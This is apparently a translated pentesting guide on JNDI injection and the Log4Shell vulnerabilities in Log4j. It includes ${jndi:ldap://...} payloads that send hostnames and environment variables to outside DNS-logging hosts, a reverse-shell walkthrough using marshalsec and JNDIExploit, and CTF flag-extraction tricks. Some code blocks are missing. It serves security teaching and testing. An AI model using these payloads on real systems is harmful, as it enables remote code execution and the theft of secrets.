JNDI - Java Naming and Directory Interface & Log4Shell
Last updated
Last updated
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
JNDI, geïntegreer in Java sedert die laat 1990's, dien as 'n katalogusdiens, wat Java-programme in staat stel om data of voorwerpe deur 'n naamgewingstelsel te vind. Dit ondersteun verskeie katalogusdienste via diensverskafferinterfaces (SPIs), wat data-opeising van verskillende stelsels moontlik maak, insluitend afstand Java-voorwerpe. Algemene SPIs sluit CORBA COS, Java RMI Registry, en LDAP in.
Java-voorwerpe kan gestoor en opgeëis word met behulp van JNDI Naamverwysings, wat in twee vorme voorkom:
Verwysingsadresse: Gee 'n voorwerp se ligging aan (bv. rmi://server/ref), wat direkte opeising vanaf die gespesifiseerde adres moontlik maak.
Afstandfabriek: Verwys na 'n afstandfabriek klas. Wanneer dit benader word, word die klas afgelaai en geïnstantieer vanaf die afstand ligging.
Hierdie meganisme kan egter uitgebuit word, wat moontlik kan lei tot die laai en uitvoering van arbitrêre kode. As 'n teenmaatreël:
RMI: java.rmi.server.useCodeabseOnly = true
standaard vanaf JDK 7u21, wat die laai van afstandvoorwerpe beperk. 'n Sekuriteitsbestuurder beperk verder wat gelaai kan word.
LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false
standaard vanaf JDK 6u141, 7u131, 8u121, wat die uitvoering van afstand gelaaide Java-voorwerpe blokkeer. As dit op true
gestel word, is afstandkode-uitvoering moontlik sonder 'n Sekuriteitsbestuurder se toesig.
CORBA: Het nie 'n spesifieke eienskap nie, maar die Sekuriteitsbestuurder is altyd aktief.
Die Naambestuurder, verantwoordelik vir die oplos van JNDI skakels, het egter nie ingeboude sekuriteitsmeganismes nie, wat moontlik die opeising van voorwerpe van enige bron toelaat. Dit stel 'n risiko in die gesig, aangesien RMI, LDAP, en CORBA beskermings omseil kan word, wat lei tot die laai van arbitrêre Java-voorwerpe of die uitbuiting van bestaande toepassingskomponente (gadgets) om kwaadwillige kode te laat loop.
Voorbeelde van uitbuitbare URL's sluit in:
rmi://attacker-server/bar
ldap://attacker-server/bar
iiop://attacker-server/bar
Ten spyte van beskermings, bly kwesbaarhede bestaan, hoofsaaklik as gevolg van die gebrek aan beskerming teen die laai van JNDI vanaf onbetroubare bronne en die moontlikheid om bestaande beskermings te omseil.
Selfs al het jy 'n PROVIDER_URL
gestel, kan jy 'n ander een in 'n opsoek aandui en dit sal benader word: ctx.lookup("<attacker-controlled-url>")
en dit is wat 'n aanvaller sal misbruik om arbitrêre voorwerpe van 'n stelsel wat deur hom beheer word, te laai.
CORBA (Common Object Request Broker Architecture) gebruik 'n Interoperable Object Reference (IOR) om afstandvoorwerpe uniek te identifiseer. Hierdie verwysing sluit noodsaaklike inligting in soos:
Tipe ID: Unieke identifiseerder vir 'n interface.
Codebase: URL om die stub klas te verkry.
Merkwaardig is dat CORBA nie van nature kwesbaar is nie. Om sekuriteit te verseker, behels dit tipies:
Installering van 'n Sekuriteitsbestuurder.
Konfigurasie van die Sekuriteitsbestuurder om verbindings na moontlik kwaadwillige kodebases toe te laat. Dit kan bereik word deur:
Socket toestemming, bv. permissions java.net.SocketPermission "*:1098-1099", "connect";
.
Lêer lees toestemming, hetsy universeel (permission java.io.FilePermission "<<ALL FILES>>", "read";
) of vir spesifieke gidse waar kwaadwillige lêers geplaas kan word.
Sommige verskafferbeleide mag egter toegeeflik wees en hierdie verbindings standaard toelaat.
Vir RMI (Remote Method Invocation) is die situasie ietwat anders. Soos met CORBA, is arbitrêre klas aflaai standaard beperk. Om RMI te benut, sal 'n mens tipies die Sekuriteitsbestuurder moet omseil, 'n prestasie wat ook relevant is in CORBA.
Eerstens moet ons onderskei tussen 'n Soektog en 'n Opsoek.
'n soektog sal 'n URL soos ldap://localhost:389/o=JNDITutorial
gebruik om die JNDITutorial voorwerp van 'n LDAP bediener te vind en sy eienskappe te verkry.
'n opsoek is bedoel vir naamdienste aangesien ons enigiets wat aan 'n naam gebind is, wil kry.
As die LDAP soektog met **SearchControls.setReturningObjFlag() met true
aangeroep is, sal die teruggegee voorwerp heropgebou word.
Daarom is daar verskeie maniere om hierdie opsies aan te val. 'n aanvaller kan LDAP rekords vergiftig deur payloads daarop in te voer wat in die stelsels wat hulle versamel, uitgevoer sal word (baie nuttig om tientalle masjiene te kompromitteer as jy toegang tot die LDAP bediener het). 'n Ander manier om dit te benut, sou wees om 'n MitM-aanval in 'n LDAP soektog te voer byvoorbeeld.
As jy 'n app kan laat 'n JNDI LDAP URL oplos, kan jy die LDAP beheer wat gesoek sal word, en jy kan die uitbuiting terugstuur (log4shell).
Die uitbuiting is geserialiseer en sal gedeserialiseer word.
As trustURLCodebase
true
is, kan 'n aanvaller sy eie klasse in die kodebasis verskaf, anders sal hy gadgets in die klaspad moet misbruik.
Dit is makliker om hierdie LDAP aan te val met JavaFactory verwysings:
Die kwesbaarheid word in Log4j bekendgestel omdat dit 'n spesiale sintaksis in die vorm van ${prefix:name}
ondersteun waar prefix
een van 'n aantal verskillende Lookups is waar name
geëvalueer moet word. Byvoorbeeld, ${java:version}
is die huidige lopende weergawe van Java.
LOG4J2-313 het 'n jndi
Lookup kenmerk bekendgestel. Hierdie kenmerk stel die verkryging van veranderlikes deur JNDI moontlik. Tipies word die sleutel outomaties met java:comp/env/
voorafgegaan. As die sleutel self egter 'n ":" insluit, word hierdie standaard voorvoegsel nie toegepas nie.
Met 'n : in die sleutel, soos in ${jndi:ldap://example.com/a}
is daar geen voorvoegsel nie en die LDAP bediener word gevra vir die voorwerp. En hierdie Lookups kan in beide die konfigurasie van Log4j sowel as wanneer lyne gelog word, gebruik word.
Daarom is die enigste ding wat nodig is om RCE te verkry 'n kwesbare weergawe van Log4j wat inligting verwerk wat deur die gebruiker beheer word. En omdat dit 'n biblioteek is wat wyd gebruik word deur Java-toepassings om inligting te log (Internet-gefokusde toepassings ingesluit) was dit baie algemeen om log4j te hê wat byvoorbeeld HTTP kopstukke ontvang het soos die User-Agent. Dit is egter nie net gebruik om HTTP-inligting te log nie, maar enige invoer en data wat die ontwikkelaar aangedui het.
Hierdie kwesbaarheid is 'n kritieke onbetroubare deserialisering fout in die log4j-core
komponent, wat weergawes van 2.0-beta9 tot 2.14.1 beïnvloed. Dit stel afstandkode-uitvoering (RCE) in staat, wat aanvallers in staat stel om stelsels oor te neem. Die probleem is gerapporteer deur Chen Zhaojun van Alibaba Cloud Security Team en beïnvloed verskeie Apache-raamwerke. Die aanvanklike regstelling in weergawe 2.15.0 was onvolledig. Sigma reëls vir verdediging is beskikbaar (Reël 1, Reël 2).
Aanvanklik laag gegradeer maar later opgradeer na krities, is hierdie CVE 'n Denial of Service (DoS) fout wat ontstaan uit 'n onvolledige regstelling in 2.15.0 vir CVE-2021-44228. Dit beïnvloed nie-standaard konfigurasies, wat aanvallers in staat stel om DoS-aanvalle te veroorsaak deur middel van vervaardigde payloads. 'n tweet demonstreer 'n omseilingsmetode. Die probleem is opgelos in weergawes 2.16.0 en 2.12.2 deur boodskapsoekpatrone te verwyder en JNDI standaard te deaktiveer.
Wat Log4j 1.x weergawes in nie-standaard konfigurasies wat JMSAppender
gebruik, beïnvloed, is hierdie CVE 'n onbetroubare deserialisering fout. Geen regstelling is beskikbaar vir die 1.x tak nie, wat einde-lewe is, en opgradering na log4j-core 2.17.0
word aanbeveel.
Hierdie kwesbaarheid beïnvloed die Logback lograamwerk, 'n opvolger van Log4j 1.x. Voorheen as veilig beskou, is die raamwerk kwesbaar bevind, en nuwer weergawes (1.3.0-alpha11 en 1.2.9) is vrygestel om die probleem aan te spreek.
Log4j 2.16.0 bevat 'n DoS fout, wat die vrystelling van log4j 2.17.0
tot gevolg gehad het om die CVE reg te stel. Verdere besonderhede is in BleepingComputer se verslag.
Wat log4j weergawe 2.17 beïnvloed, vereis hierdie CVE dat die aanvaller die konfigurasielêer van log4j moet beheer. Dit behels potensiële arbitrêre kode-uitvoering via 'n geconfigureerde JDBCAppender. Meer besonderhede is beskikbaar in die Checkmarx blogpos.
Hierdie kwesbaarheid is baie maklik om te ontdek as dit onbeskermd is omdat dit ten minste 'n DNS versoek na die adres wat jy in jou payload aandui, sal stuur. Daarom, payloads soos:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(gebruik canarytokens.com)
${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(gebruik interactsh)
${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(gebruik Burp Suite)
${jndi:ldap://2j4ayo.dnslog.cn}
(gebruik dnslog)
${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
(gebruik huntress)
Let daarop dat selfs al 'n DNS versoek ontvang word, dit nie beteken dat die toepassing uitbuitbaar is (of selfs kwesbaar nie), jy sal moet probeer om dit uit te buit.
Onthou dat om weergawe 2.15 te exploiteer, jy die localhost kontrole omseiling moet byvoeg: ${jndi:ldap://127.0.0.1#...}
Soek na plaaslike kwesbare weergawes van die biblioteek met:
Sommige van die platforms wat voorheen gelys is, sal jou toelaat om 'n paar veranderlike data in te voeg wat gelog sal word wanneer dit aangevra word. Dit kan baie nuttig wees vir 2 dinge:
Om die kwesbaarheid te verifieer
Om inligting te exfiltreer deur die kwesbaarheid te misbruik
Byvoorbeeld, jy kan iets soos aan vra:
of soos ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
en as 'n DNS-versoek ontvang word met die waarde van die omgewing veranderlike, weet jy die toepassing is kwesbaar.
Ander inligting wat jy kan probeer om te lek:
Gashere wat op JDK weergawes bo 6u141, 7u131, of 8u121 loop, is beskerm teen die LDAP klas laai aanvalsvector. Dit is te danke aan die standaard deaktivering van com.sun.jndi.ldap.object.trustURLCodebase
, wat voorkom dat JNDI 'n afstandlike kodebasis via LDAP laai. Dit is egter belangrik om te noem dat hierdie weergawes nie teen die deserialisering aanvalsvector beskerm is.
Vir aanvallers wat daarop gemik is om hierdie hoër JDK weergawes te benut, is dit nodig om 'n vertroude gadget binne die Java-toepassing te gebruik. Gereedskap soos ysoserial of JNDIExploit word dikwels vir hierdie doel gebruik. Aan die ander kant is dit relatief makliker om laer JDK weergawes te benut, aangesien hierdie weergawes gemanipuleer kan word om arbitrêre klasse te laai en uit te voer.
Vir meer inligting (soos beperkings op RMI en CORBA vektore) kyk na die vorige JNDI Naamverwysing afdeling of https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/
Jy kan dit in die THM boks toets: https://tryhackme.com/room/solar
Gebruik die gereedskap marshalsec (jar weergawe beskikbaar hier). Hierdie benadering stel 'n LDAP verwysingsbediener in om verbindings na 'n sekondêre HTTP-bediener te herlei waar die uitbuiting gehos word:
Om die teiken te versoek om 'n omgekeerde shell kode te laai, maak 'n Java-lêer genaamd Exploit.java
met die inhoud hieronder:
Compile die Java-lêer in 'n klaslêer met: javac Exploit.java -source 8 -target 8
. Volgende, begin 'n HTTP-bediener in die gids wat die klaslêer bevat met: python3 -m http.server
. Verseker dat die marshalsec LDAP-bediener na hierdie HTTP-bediener verwys.
Trigger die uitvoering van die eksploit klas op die kwesbare webbediener deur 'n payload te stuur wat soos volg lyk:
Let wel: Hierdie uitbuiting hang af van Java se konfigurasie om afstandkodebasis laai via LDAP toe te laat. As dit nie toegelaat word nie, oorweeg dit om 'n vertroude klas te benut vir arbitrêre kode-uitvoering.
Let daarop dat die outeur om een of ander rede hierdie projek van github verwyder het na die ontdekking van log4shell. Jy kan 'n gekapte weergawe vind in https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 maar as jy die besluit van die outeur wil respekteer, gebruik 'n ander metode om hierdie kwesbaarheid te benut.
Boonop kan jy nie die bronkode in die wayback machine vind nie, so of jy kan die bronkode analiseer, of die jar uitvoer met die kennis dat jy nie weet wat jy uitvoer nie.
Vir hierdie voorbeeld kan jy net hierdie kwesbare webbediener vir log4shell op poort 8080 laat loop: https://github.com/christophetd/log4shell-vulnerable-app (in die README sal jy vind hoe om dit te laat loop). Hierdie kwesbare app log met 'n kwesbare weergawe van log4shell die inhoud van die HTTP-versoekkop X-Api-Version.
Dan kan jy die JNDIExploit jar-lêer aflaai en dit uitvoer met:
Na 'n paar minute se lees van die kode, in com.feihong.ldap.LdapServer en com.feihong.ldap.HTTPServer kan jy sien hoe die LDAP en HTTP bedieners geskep word. Die LDAP bediener sal verstaan watter payload bedien moet word en sal die slagoffer na die HTTP bediener herlei, wat die exploit sal bedien. In com.feihong.ldap.gadgets kan jy 'n paar spesifieke gadgets vind wat gebruik kan word om die gewenste aksie uit te voer (potensieel om arbitrêre kode uit te voer). En in com.feihong.ldap.template kan jy die verskillende sjabloonklasse sien wat die exploits sal genereer.
Jy kan al die beskikbare exploits sien met java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
. Sommige nuttige is:
So, in ons voorbeeld het ons reeds daardie docker kwesbare toepassing wat loop. Om dit aan te val:
Wanneer jy die aanvalle stuur, sal jy 'n paar uitvoer in die terminale sien waar jy JNDIExploit-1.2-SNAPSHOT.jar uitgevoer het.
Onthou om java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
te kontroleer vir ander eksploitasiemogelijkheden. Boonop, in geval jy dit nodig het, kan jy die poort van die LDAP en HTTP bedieners verander.
Op 'n soortgelyke manier as die vorige eksploit, kan jy probeer om JNDI-Exploit-Kit te gebruik om hierdie kwesbaarheid te eksploiteer. Jy kan die URL's genereer om aan die slagoffer te stuur deur:
Hierdie aanval wat 'n op maat gegenereerde java objek gebruik, sal werk in laboratoriums soos die THM sonkamer. Dit sal egter oor die algemeen nie werk nie (aangesien Java nie standaard gekonfigureer is om afstandkodebasis met LDAP te laai nie) ek dink omdat dit nie 'n vertroude klas misbruik om arbitrêre kode uit te voer nie.
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus is 'n ander hulpmiddel om werkbare JNDI skakels te genereer en agtergronddienste te bied deur RMI-bediener, LDAP-bediener en HTTP-bediener te begin.\
Hierdie opsie is regtig nuttig om Java weergawes aan te val wat slegs spesifieke klasse vertrou en nie almal nie. Daarom sal ysoserial gebruik word om serialisasies van vertroude klasse te genereer wat as gadgets gebruik kan word om arbitrêre kode uit te voer (die vertroude klas wat deur ysoserial misbruik word, moet deur die slagoffer java program gebruik word sodat die ontploffing kan werk).
Met ysoserial of ysoserial-modified kan jy die deserialisasie ontploffing skep wat deur JNDI afgelaai sal word:
Gebruik JNDI-Exploit-Kit om JNDI skakels te genereer waar die ontploffing sal wag vir verbindings van die kwesbare masjiene. Jy kan verskillende ontploffings bedien wat outomaties gegenereer kan word deur die JNDI-Exploit-Kit of selfs jou eie deserialisering payloads (gegenereer deur jou of ysoserial).
Nou kan jy maklik 'n gegenereerde JNDI-skakel gebruik om die kwesbaarheid te benut en 'n reverse shell te verkry deur net te stuur na 'n kwesbare weergawe van log4j: ${ldap://10.10.14.10:1389/generated}
https://github.com/palantir/log4j-sniffer - Vind plaaslike kwesbare biblioteke
In hierdie CTF skrywe word goed verduidelik hoe dit potensieel moontlik is om misbruik te maak van sommige funksies van Log4J.
Die veiligheidsbladsy van Log4j het 'n paar interessante sinne:
Vanaf weergawe 2.16.0 (vir Java 8), is die boodskap soekfunksie heeltemal verwyder. Soek in konfigurasie werk steeds. Verder, Log4j deaktiveer nou toegang tot JNDI standaard. JNDI soektogte in konfigurasie moet nou eksplisiet geaktiveer word.
Vanaf weergawe 2.17.0, (en 2.12.3 en 2.3.1 vir Java 7 en Java 6), word slegs soekstringe in konfigurasie rekursief uitgebrei; in enige ander gebruik, word slegs die boonste vlak soektog opgelos, en enige geneste soektogte word nie opgelos nie.
Dit beteken dat jy standaard kan vergeet om enige jndi
exploit te gebruik. Boonop, om rekursiewe soektogte uit te voer, moet jy dit konfigureer.
Byvoorbeeld, in daardie CTF was dit in die lêer log4j2.xml geconfigureer:
In hierdie CTF het die aanvaller die waarde van ${sys:cmd}
beheer en moes die vlag uit 'n omgewingsveranderlike onttrek.
Soos gesien op hierdie bladsy in vorige payloads is daar verskillende maniere om omgewingsveranderlikes te benader, soos: ${env:FLAG}
. In hierdie CTF was dit nutteloos, maar dit mag nie in ander werklike lewenscenario's wees nie.
In die CTF kon jy nie die stderr van die java-toepassing met log4J toegang nie, maar Log4J uitsonderings word na stdout gestuur, wat in die python-toepassing gedruk is. Dit het beteken dat deur 'n uitsondering te aktiveer, kon ons die inhoud toegang. 'n Uitsondering om die vlag te onttrek was: ${java:${env:FLAG}}
. Dit werk omdat ${java:CTF{blahblah}}
nie bestaan nie en 'n uitsondering met die waarde van die vlag sal vertoon word:
Net om dit te noem, jy kan ook nuwe omsettingspatrone inspuit en uitsonderings aktiveer wat na stdout
gelog sal word. Byvoorbeeld:
Dit was nie nuttig gevind om data binne die foutboodskap te onttrek nie, omdat die soektog nie opgelos is voor die omsettingspatroon nie, maar dit kan nuttig wees vir ander dinge soos opsporing.
Dit is egter moontlik om sommige omsettingspatrone wat regexes ondersteun te gebruik om inligting uit 'n soektog te onttrek deur regexes te gebruik en binaire soektog of tydgebaseerde gedrag te misbruik.
Binaire soektog via uitsonderingsboodskappe
Die omsettingspatroon %replace
kan gebruik word om inhoud van 'n string te vervang, selfs met regexes. Dit werk soos volg: replace{pattern}{regex}{substitution}
Deur hierdie gedrag te misbruik, kan jy maak dat vervang 'n uitsondering aktiveer as die regex enige iets binne die string ooreenstem (en geen uitsondering as dit nie gevind is nie) soos volg:
Tyd-gebaseerd
Soos in die vorige afdeling genoem, ondersteun %replace
regexes. Dit is dus moontlik om 'n payload van die ReDoS-bladsy te gebruik om 'n tyd-oorskryding te veroorsaak in die geval dat die vlag gevind word.
Byvoorbeeld, 'n payload soos %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
sou 'n tyd-oorskryding in daardie CTF veroorsaak.
In hierdie skrywe, in plaas daarvan om 'n ReDoS-aanval te gebruik, is 'n versterking-aanval gebruik om 'n tydverskil in die antwoord te veroorsaak:
As die vlag begin met
flagGuess
, word die hele vlag vervang met 29#
-s (Ek het hierdie karakter gebruik omdat dit waarskynlik nie deel van die vlag sal wees nie). Elke van die resulterende 29#
-s word dan vervang deur 54#
-s. Hierdie proses word 6 keer herhaal, wat lei tot 'n totaal van29*54*54^6* =`` ``
96816014208
#
-s!Om soveel
#
-s te vervang, sal die 10-sekonde tyd-oorskryding van die Flask-toepassing aktiveer, wat op sy beurt sal lei tot die HTTP-statuskode 500 wat aan die gebruiker gestuur word. (As die vlag nie metflagGuess
begin nie, sal ons 'n nie-500 statuskode ontvang)
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)